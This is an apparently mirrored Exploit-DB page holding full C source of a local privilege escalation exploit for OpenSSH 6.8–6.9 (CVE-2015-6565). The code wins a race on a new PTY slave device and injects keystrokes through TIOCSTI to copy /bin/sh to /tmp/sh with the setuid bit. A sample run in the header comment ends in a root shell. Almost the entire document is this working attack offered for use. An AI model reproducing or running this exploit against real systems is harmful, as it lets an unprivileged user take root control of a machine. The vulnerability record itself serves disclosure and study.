OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation - 体验盒子

作者： Federico Bento
日期： 2017-01-26
类别：
local
平台：
linux
来源：https://www.exploit-db.com/exploits/41173/
/* 
 *not_an_sshnuke.c
 *
 *Federico Bento
 *
 *up201407890 () alunos dcc fc up pt
 *https://twitter.com/uid1000
 * 
 *OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565
 *
 *Considered mostly to be a "DoS", turns out to be a priv esc vuln.
 *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565
 *
 *Shoutz to Jann Horn for the detailed analysis
 *And also to all my elite colleagues, specially xSTF :)
 *
 *
 *$ gcc not_an_sshnuke.c -o not_an_sshnuke
 *$ ./not_an_sshnuke /dev/pts/3
 *[*] Waiting for slave device /dev/pts/3
 *[+] Got PTY slave /dev/pts/3
 *[+] Making PTY slave the controlling terminal
 *[+] SUID shell at /tmp/sh
 *$ /tmp/sh --norc --noprofile -p
 *# id
 *euid=0(root) groups=0(root)
 *
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
 
int main(int argc, char *argv[])
{
 char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n";
 int pid, pts = -1;

 if(argc != 2) {
fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]);
	fprintf(stderr, "Where X is next slave device to be created\n");
	return 1;
 }
	
 if(!access(argv[1], F_OK)) {
fprintf(stderr, "[-] %s device already exists\n", argv[1]);
return 1;
 }

 pid = fork();

 if(pid < 0) {
	fprintf(stderr, "[-] fork failed\n");
	return 1;
 }
	
 if(pid == 0) {
printf("[*] Waiting for slave device %s\n", argv[1]);
		
	/* win the race by opening the PTY slave before sshd's child */
	while(pts == -1)
	 pts = open(argv[1], O_WRONLY); 

	 printf("[+] Got PTY slave %s\n", argv[1]);
 printf("[+] Making PTY slave the controlling terminal\n");
		
	 dup2(pts, 0); dup2(pts, 1); dup2(pts, 2);
	 setsid();
 ioctl(0, TIOCSCTTY, 1);

	 while(*cmd)
	ioctl(0, TIOCSTI, cmd++);
 }

 else {
wait(NULL);
	printf("[+] SUID shell at /tmp/sh\n");
	return 0;
 }
}